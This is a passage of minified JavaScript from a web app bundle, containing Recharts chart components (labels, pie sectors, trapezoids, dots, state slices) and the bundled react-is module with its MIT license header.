m.createElement("text",Bu({},r,{dominantBaseline:"central",className:Qe("recharts-radial-bar-label",o)}),m.createElement("defs",null,m.createElement("path",{id:k,d:N})),m.createElement("textPath",{xlinkHref:"#".concat(k)},n))},A$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:s,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=ft(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var p=(s+o)/2,{x:h,y:x}=ft(r,i,p,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},Sc=e=>e!=null&&"cx"in e&&ge(e.cx),O$={angle:0,offset:5,zIndex:Zt.label,position:"middle",textBreakAll:!1};function T$(e){if(!Sc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function cz(e){var t=gn(e,O$),{viewBox:n,parentViewBox:r,position:i,value:s,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=S$(),p=k$(),h=i==="center"?p:f??p,x,g,y;n==null?x=h:Sc(n)?x=n:x=t0(n);var v=T$(x);if(!x||Mt(s)&&Mt(o)&&!m.isValidElement(l)&&typeof l!="function")return null;var b=nc(nc({},t),{},{viewBox:x});if(m.isValidElement(l)){var{labelRef:w}=b,j=t2(b,v$);return m.cloneElement(l,j)}if(typeof l=="function"){var{content:N}=b,k=t2(b,g$);if(g=m.createElement(l,k),m.isValidElement(g))return g}else g=C$(t);var z=Ut(t);if(Sc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return _$(t,i,g,z,x);y=A$(x,t.offset,t.position)}else{if(!v)return null;var S=x$({viewBox:v,position:i,offset:t.offset,parentViewBox:Sc(r)?void 0:r});y=nc(nc({x:S.x,y:S.y,textAnchor:S.horizontalAnchor,verticalAnchor:S.verticalAnchor},S.width!==void 0?{width:S.width}:{}),S.height!==void 0?{height:S.height}:{})}return m.createElement(Mi,{zIndex:t.zIndex},m.createElement(mv,Bu({ref:d,className:Qe("recharts-label",c)},z,y,{textAnchor:l$(z.textAnchor)?z.textAnchor:y.textAnchor,breakAll:u}),g))}cz.displayName="Label";var uz={},dz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(dz);var fz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(fz);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dz,n=fz,r=zd;function i(s){if(r.isArrayLike(s))return t.last(n.toArray(s))}e.last=i})(uz);var M$=uz.last;const L$=Wr(M$);var I$=["valueAccessor"],D$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Fu(){return Fu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?L$(e.value):e.value,mz=m.createContext(void 0),B$=mz.Provider,pz=m.createContext(void 0),F$=pz.Provider;function W$(){return m.useContext(mz)}function U$(){return m.useContext(pz)}function Cc(e){var{valueAccessor:t=$$}=e,n=r2(e,I$),{dataKey:r,clockWise:i,id:s,textBreakAll:o,zIndex:l}=n,c=r2(n,D$),u=W$(),d=U$(),f=u||d;return!f||!f.length?null:m.createElement(Mi,{zIndex:l??Zt.label},m.createElement(tn,{className:"recharts-label-list"},f.map((p,h)=>{var x,g=Mt(r)?t(p,h):Ve(p.payload,r),y=Mt(s)?{}:{id:"".concat(s,"-").concat(h)};return m.createElement(cz,Fu({key:"label-".concat(h)},Ut(p),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:p.fill,parentViewBox:p.parentViewBox,value:g,textBreakAll:o,viewBox:p.viewBox,index:h,zIndex:0}))})))}Cc.displayName="LabelList";function hz(e){var{label:t}=e;return t?t===!0?m.createElement(Cc,{key:"labelList-implicit"}):m.isValidElement(t)||P$(t)?m.createElement(Cc,{key:"labelList-implicit",content:t}):typeof t=="object"?m.createElement(Cc,Fu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function kh(){return kh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,s=Qe("recharts-dot",i);return ge(t)&&ge(n)&&ge(r)?m.createElement("circle",kh({},Mr(e),Ix(e),{className:s,cx:t,cy:n,r})):null},vz=e=>e.graphicalItems.polarItems,V$=I([Je,vl],R0),pf=I([vz,it,V$],$0),H$=I([pf],B0),hf=I([H$,nf],F0),K$=I([hf,it,pf],U0);I([hf,it,pf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var s,o=Ve(r,(s=t.dataKey)!==null&&s!==void 0?s:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var i2=()=>{},G$=I([hf,it,pf,cf,Je],G0),Y$=I([it,H0,K0,i2,G$,i2,De,Je],Y0),gz=I([it,De,hf,K$,xl,Je,Y$],q0),q$=I([gz,Ss,Ti],Q0),X$=I([it,gz,q$,Je],ev);I([Ti,X$],X4);var Z$={radiusAxis:{},angleAxis:{}},yz=nn({name:"polarAxis",initialState:Z$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:aH,removeRadiusAxis:sH,addAngleAxis:oH,removeAngleAxis:lH}=yz.actions,Q$=yz.reducer;function J$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function a2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function s2(e){for(var t=1;tt,pv=I([vz,rB],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),iB=[],hv=(e,t,n)=>(n==null?void 0:n.length)===0?iB:n,bz=I([nf,pv,hv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(s=>s2(s2({},t.presentationProps),s.props))),i!=null)return i}}),aB=I([bz,pv,hv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var s,o=Ve(r,t.nameKey,t.name),l;return n!=null&&(s=n[i])!==null&&s!==void 0&&(s=s.props)!==null&&s!==void 0&&s.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Rd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),sB=I([bz,pv,hv,kt],(e,t,n,r)=>{if(!(t==null||e==null))return dF({offset:r,pieSettings:t,displayedData:e,cells:n})}),wz={exports:{}},Re={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var xv=Symbol.for("react.transitional.element"),vv=Symbol.for("react.portal"),xf=Symbol.for("react.fragment"),vf=Symbol.for("react.strict_mode"),gf=Symbol.for("react.profiler"),yf=Symbol.for("react.consumer"),bf=Symbol.for("react.context"),wf=Symbol.for("react.forward_ref"),jf=Symbol.for("react.suspense"),Nf=Symbol.for("react.suspense_list"),kf=Symbol.for("react.memo"),zf=Symbol.for("react.lazy"),oB=Symbol.for("react.view_transition"),lB=Symbol.for("react.client.reference");function Ln(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case xv:switch(e=e.type,e){case xf:case gf:case vf:case jf:case Nf:case oB:return e;default:switch(e=e&&e.$$typeof,e){case bf:case wf:case zf:case kf:return e;case yf:return e;default:return t}}case vv:return t}}}Re.ContextConsumer=yf;Re.ContextProvider=bf;Re.Element=xv;Re.ForwardRef=wf;Re.Fragment=xf;Re.Lazy=zf;Re.Memo=kf;Re.Portal=vv;Re.Profiler=gf;Re.StrictMode=vf;Re.Suspense=jf;Re.SuspenseList=Nf;Re.isContextConsumer=function(e){return Ln(e)===yf};Re.isContextProvider=function(e){return Ln(e)===bf};Re.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===xv};Re.isForwardRef=function(e){return Ln(e)===wf};Re.isFragment=function(e){return Ln(e)===xf};Re.isLazy=function(e){return Ln(e)===zf};Re.isMemo=function(e){return Ln(e)===kf};Re.isPortal=function(e){return Ln(e)===vv};Re.isProfiler=function(e){return Ln(e)===gf};Re.isStrictMode=function(e){return Ln(e)===vf};Re.isSuspense=function(e){return Ln(e)===jf};Re.isSuspenseList=function(e){return Ln(e)===Nf};Re.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===xf||e===gf||e===vf||e===jf||e===Nf||typeof e=="object"&&e!==null&&(e.$$typeof===zf||e.$$typeof===kf||e.$$typeof===bf||e.$$typeof===yf||e.$$typeof===wf||e.$$typeof===lB||e.getModuleId!==void 0)};Re.typeOf=Ln;wz.exports=Re;var cB=wz.exports,o2=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",l2=null,km=null,jz=e=>{if(e===l2&&Array.isArray(km))return km;var t=[];return m.Children.forEach(e,n=>{Mt(n)||(cB.isFragment(n)?t=t.concat(jz(n.props.children)):t.push(n))}),km=t,l2=e,t};function Nz(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>o2(i)):r=[o2(t)],jz(e).forEach(i=>{var s=Ro(i,"type.displayName")||Ro(i,"type.name");s&&r.indexOf(s)!==-1&&n.push(i)}),n}var kz=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,zz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const s=n[Symbol.toStringTag];return s==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${s}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(zz);var uB=zz.isPlainObject;const dB=Wr(uB);var c2,u2,d2,f2,m2;function p2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function h2(e){for(var t=1;t{var s=n-r,o;return o=tt(c2||(c2=qs(["M ",",",""])),e,t),o+=tt(u2||(u2=qs(["L ",",",""])),e+n,t),o+=tt(d2||(d2=qs(["L ",",",""])),e+n-s/2,t+i),o+=tt(f2||(f2=qs(["L ",",",""])),e+n-s/2-r,t+i),o+=tt(m2||(m2=qs(["L ",","," Z"])),e,t),o},hB={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},xB=e=>{var t=gn(e,hB),{x:n,y:r,upperWidth:i,lowerWidth:s,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,p=m.useRef(null),[h,x]=m.useState(-1),g=m.useRef(i),y=m.useRef(s),v=m.useRef(o),b=m.useRef(n),w=m.useRef(r),j=qd(e,"trapezoid-");if(m.useEffect(()=>{if(p.current&&p.current.getTotalLength)try{var G=p.current.getTotalLength();G&&x(G)}catch{}},[]),n!==+n||r!==+r||i!==+i||s!==+s||o!==+o||i===0&&s===0||o===0)return null;var N=Qe("recharts-trapezoid",l);if(!f)return m.createElement("g",null,m.createElement("path",Wu({},Ut(t),{className:N,d:x2(n,r,i,s,o)})));var k=g.current,z=y.current,S=v.current,O=b.current,A=w.current,T="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),D=Dk(["strokeDasharray"],u,c);return m.createElement(Yd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},G=>{var R=At(k,i,G),K=At(z,s,G),_=At(S,o,G),M=At(O,n,G),F=At(A,r,G);p.current&&(g.current=R,y.current=K,v.current=_,b.current=M,w.current=F);var U=G>0?{transition:D,strokeDasharray:P}:{strokeDasharray:T};return m.createElement("path",Wu({},Ut(t),{className:N,d:x2(M,F,R,K,_),ref:p,style:h2(h2({},U),t.style)}))})},vB=["option","shapeType","activeClassName"];function gB(e,t){if(e==null)return{};var n,r,i=yB(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(C3({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},PB=e=>{var t=ot();return(n,r)=>i=>{e==null||e(n,r,i),t(TD())}},EB=(e,t,n)=>{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(MD({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function Sz(e){var{tooltipEntrySettings:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(ED(t)):i.current!==t&&n(_D({prev:i.current,next:t})),i.current=t)},[t,n,r]),m.useLayoutEffect(()=>()=>{i.current&&(n(AD(i.current)),i.current=null)},[n]),null}function _B(e){var{legendPayload:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(Tk(t)):i.current!==t&&n(Mk({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Lk(i.current)),i.current=null)},[n]),null}function AB(e){var{legendPayload:t}=e,n=ot(),r=je(De),i=m.useRef(null);return m.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(Tk(t)):i.current!==t&&n(Mk({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Lk(i.current)),i.current=null)},[n]),null}var zm,OB=()=>{var[e]=m.useState(()=>$o("uid-"));return e},TB=(zm=dw.useId)!==null&&zm!==void 0?zm:OB;function MB(e,t){var n=TB();return t||(e?"".concat(e,"-").concat(n):n)}var LB=m.createContext(void 0),Cz=e=>{var{id:t,type:n,children:r}=e,i=MB("recharts-".concat(n),t);return m.createElement(LB.Provider,{value:i},r(i))},IB={cartesianItems:[],polarItems:[]},Pz=nn({name:"graphicalItems",initialState:IB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:He()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:He()},removeCartesianGraphicalItem:{reducer(e,t){var n=Yn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:He()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:He()},removePolarGraphicalItem:{reducer(e,t){var n=Yn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:He()}}}),{addCartesianGraphicalItem:DB,replaceCartesianGraphicalItem:RB,removeCartesianGraphicalItem:$B,addPolarGraphicalItem:BB,removePolarGraphicalItem:FB}=Pz.actions,WB=Pz.reducer,UB=e=>{var t=ot(),n=m.useRef(null);return m.useLayoutEffect(()=>{n.current===null?t(DB(e)):n.current!==e&&t(RB({prev:n.current,next:e})),n.current=e},[t,e]),m.useLayoutEffect(()=>()=>{n.current&&(t($B(n.current)),n.current=null)},[t]),null},VB=m.memo(UB);function HB(e){var t=ot();return m.useLayoutEffect(()=>(t(BB(e)),()=>{t(FB(e))}),[t,e]),null}var KB=["key"],GB=["onMouseEnter","onClick","onMouseLeave"],YB=["id"],qB=["id"];function y2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;tNz(e.children,mf),[e.children]),n=je(r=>aB(r,e.id,t));return n==null?null:m.createElement(AB,{legendPayload:n})}var tF=m.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:s,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(p=>p.tooltipPayload),getPosition:p=>{var h;return(h=r[Number(p)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:s,fill:o,dataKey:t,nameKey:n,name:Rd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return m.createElement(Sz,{tooltipEntrySettings:f})}),nF=(e,t)=>e>t?"start":efn(typeof t=="function"?t(e):t,n,n*.8),iF=(e,t,n)=>{var{top:r,left:i,width:s,height:o}=t,l=Wk(s,o),c=i+fn(e.cx,s,s/2),u=r+fn(e.cy,o,o/2),d=fn(e.innerRadius,l,0),f=rF(n,e.outerRadius,l),p=e.maxRadius||Math.sqrt(s*s+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:p}},aF=(e,t)=>{var n=qt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},sF=(e,t)=>{if(m.isValidElement(e))return m.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Qe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=Sf(t,KB);return m.createElement(Qa,Ci({},i,{type:"linear",className:n}))},oF=(e,t,n)=>{if(m.isValidElement(e))return m.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),m.isValidElement(r)))return r;var i=Qe("recharts-pie-label-text",J$(e));return m.createElement(mv,Ci({},t,{alignmentBaseline:"middle",className:i}),r)};function lF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:s,dataKey:o}=n;if(!r||!i||!t)return null;var l=Mr(n),c=Do(i),u=Do(s),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((p,h)=>{var x=(p.startAngle+p.endAngle)/2,g=ft(p.cx,p.cy,p.outerRadius+d,x),y=rt(rt(rt(rt({},l),p),{},{stroke:"none"},c),{},{index:h,textAnchor:nF(g.x,p.cx)},g),v=rt(rt(rt(rt({},l),p),{},{fill:"none",stroke:p.fill},u),{},{index:h,points:[ft(p.cx,p.cy,p.outerRadius,x),g],key:"line"});return m.createElement(Mi,{zIndex:Zt.label,key:"label-".concat(p.startAngle,"-").concat(p.endAngle,"-").concat(p.midAngle,"-").concat(h)},m.createElement(tn,null,s&&sF(s,v),oF(i,y,Ve(p,o))))});return m.createElement(tn,{className:"recharts-pie-labels"},f)}function cF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?m.createElement(hz,{label:i}):m.createElement(lF,{sectors:t,props:n,showLabels:r})}function uF(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:s,id:o}=e,l=je(ps),c=je(W3),u=je(yR),{onMouseEnter:d,onClick:f,onMouseLeave:p}=i,h=Sf(i,GB),x=CB(d,i.dataKey,o),g=PB(p),y=EB(f,i.dataKey,o);return t==null||t.length===0?null:m.createElement(m.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,N=l?r:null,k=n&&j?n:N,z=rt(rt({},v),{},{stroke:v.stroke,tabIndex:-1,[vk]:b,[gk]:o});return m.createElement(tn,Ci({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},CA(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),m.createElement(SB,Ci({option:s??k,index:b,shapeType:"sector",isActive:j},z)))}))}function dF(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:s}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,p=Math.abs(n.minAngle),h=aF(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(k=>Ve(k,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*p-v,w=r.reduce((k,z)=>{var S=Ve(z,u,0);return k+(ge(S)?S:0)},0),j;if(w>0){var N;j=r.map((k,z)=>{var S=Ve(k,u,0),O=Ve(k,d,z),A=iF(n,s,k),T=(ge(S)?S:0)/w,P,D=rt(rt({},k),i&&i[z]&&i[z].props);z?P=N.endAngle+qt(h)*g*(S!==0?1:0):P=l;var G=P+qt(h)*((S!==0?p:0)+T*b),R=(P+G)/2,K=(A.innerRadius+A.outerRadius)/2,_=[{name:O,value:S,payload:D,dataKey:u,type:f,graphicalItemId:n.id}],M=ft(A.cx,A.cy,K,R);return N=rt(rt(rt(rt({},n.presentationProps),{},{percent:T,cornerRadius:typeof o=="string"?parseFloat(o):o,name:O,tooltipPayload:_,midAngle:R,middleRadius:K,tooltipPosition:M},D),A),{},{value:S,dataKey:u,startAngle:P,endAngle:G,payload:D,paddingAngle:qt(h)*g}),N})}return j}function fF(e){var{showLabels:t,sectors:n,children:r}=e,i=m.useMemo(()=>!t||!n?[]:n.map(s=>({value:s.value,payload:s.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:s.cx,cy:s.cy,innerRadius:s.innerRadius,outerRadius:s.outerRadius,startAngle:s.startAngle,endAngle:s.endAngle,clockWise:!1},fill:s.fill})),[n,t]);return m.createElement(F$,{value:t?i:void 0},r)}function mF(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:s,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:p}=t,h=qd(t,"recharts-pie-"),x=n.current,[g,y]=m.useState(!1),v=m.useCallback(()=>{typeof p=="function"&&p(),y(!1)},[p]),b=m.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return m.createElement(fF,{showLabels:!g,sectors:i},m.createElement(Yd,{animationId:h,begin:o,duration:l,isActive:s,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,N=[],k=i&&i[0],z=(j=k==null?void 0:k.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((S,O)=>{var A=x&&x[O],T=O>0?Ro(S,"paddingAngle",0):0;if(A){var P=At(A.endAngle-A.startAngle,S.endAngle-S.startAngle,w),D=rt(rt({},S),{},{startAngle:z+T,endAngle:z+P+T});N.push(D),z=D.endAngle}else{var{endAngle:G,startAngle:R}=S,K=At(0,G-R,w),_=rt(rt({},S),{},{startAngle:z+T,endAngle:z+K+T});N.push(_),z=_.endAngle}}),n.current=N,m.createElement(tn,null,m.createElement(uF,{sectors:N,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),m.createElement(cF,{showLabels:!g,sectors:i,props:t}),t.children)}var pF={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Zt.area};function hF(e){var{id:t}=e,n=Sf(e,YB),{hide:r,className:i,rootTabIndex:s}=e,o=m.useMemo(()=>Nz(e.children,mf),[e.children]),l=je(d=>sB(d,t,o)),c=m.useRef(null),u=Qe("recharts-pie",i);return r||l==null?(c.current=null,m.createElement(tn,{tabIndex:s,className:u})):m.createElement(Mi,{zIndex:e.zIndex},m.createElement(tF,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),m.createElement(tn,{tabIndex:s,className:u},m.createElement(mF,{props:rt(rt({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function Ez(e){var t=gn(e,pF),{id:n}=t,r=Sf(t,qB),i=Mr(r);return m.createElement(Cz,{id:n,type:"pie"},s=>m.createElement(m.Fragment,null,m.createElement(HB,{type:"pie",id:s,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),m.createElement(eF,Ci({},r,{id:s})),m.createElement(hF,Ci({},r,{id:s}))))}Ez.displayName="Pie";var xF=["points"];function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sm(e){for(var t=1;t{var y,v,b=Sm(Sm(Sm({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:s,value:x.value,payload:x.payload,points:t});return m.createElement(jF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),m.createElement(Mi,{zIndex:u},m.createElement(tn,Vu({className:r},h),p))}function w2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function j2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),AF=I([_F,Hr,Kr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),gv=()=>je(AF),OF=()=>je(kR);function N2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Cm(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:s,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:s,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=Cm(Cm(Cm({},l),Do(i)),Ix(i)),u;return m.isValidElement(i)?u=m.cloneElement(i,c):typeof i=="function"?u=i(c):u=m.createElement(xz,c),m.createElement(tn,{className:"recharts-active-dot",clipPath:o},u)};function k2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:s,zIndex:o=Zt.activeDot}=e,l=je(ps),c=OF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Mt(u)?null:m.createElement(Mi,{zIndex:o},m.createElement(IF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:s}))}var Oz=e=>{var{chartData:t}=e,n=ot(),r=Jn();return m.useEffect(()=>r?()=>{}:(n(Db(t)),()=>{n(Db(void 0))}),[t,n,r]),null},z2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},Tz=nn({name:"brush",initialState:z2,reducers:{setBrushSettings(e,t){return t.payload==null?z2:t.payload}}}),{setBrushSettings:yH}=Tz.actions,DF=Tz.reducer,RF={dots:[],areas:[],lines:[]},Mz=nn({name:"referenceElements",initialState:RF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Yn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Yn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Yn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:bH,removeDot:wH,addArea:jH,removeArea:NH,addLine:kH,removeLine:zH}=Mz.actions,$F=Mz.reducer,BF=m.createContext(void 0),FF=e=>{var{children:t}=e,[n]=m.useState("".concat($o("recharts"),"-clip")),r=gv();if(r==null)return null;var{x:i,y:s,width:o,height:l}=r;return 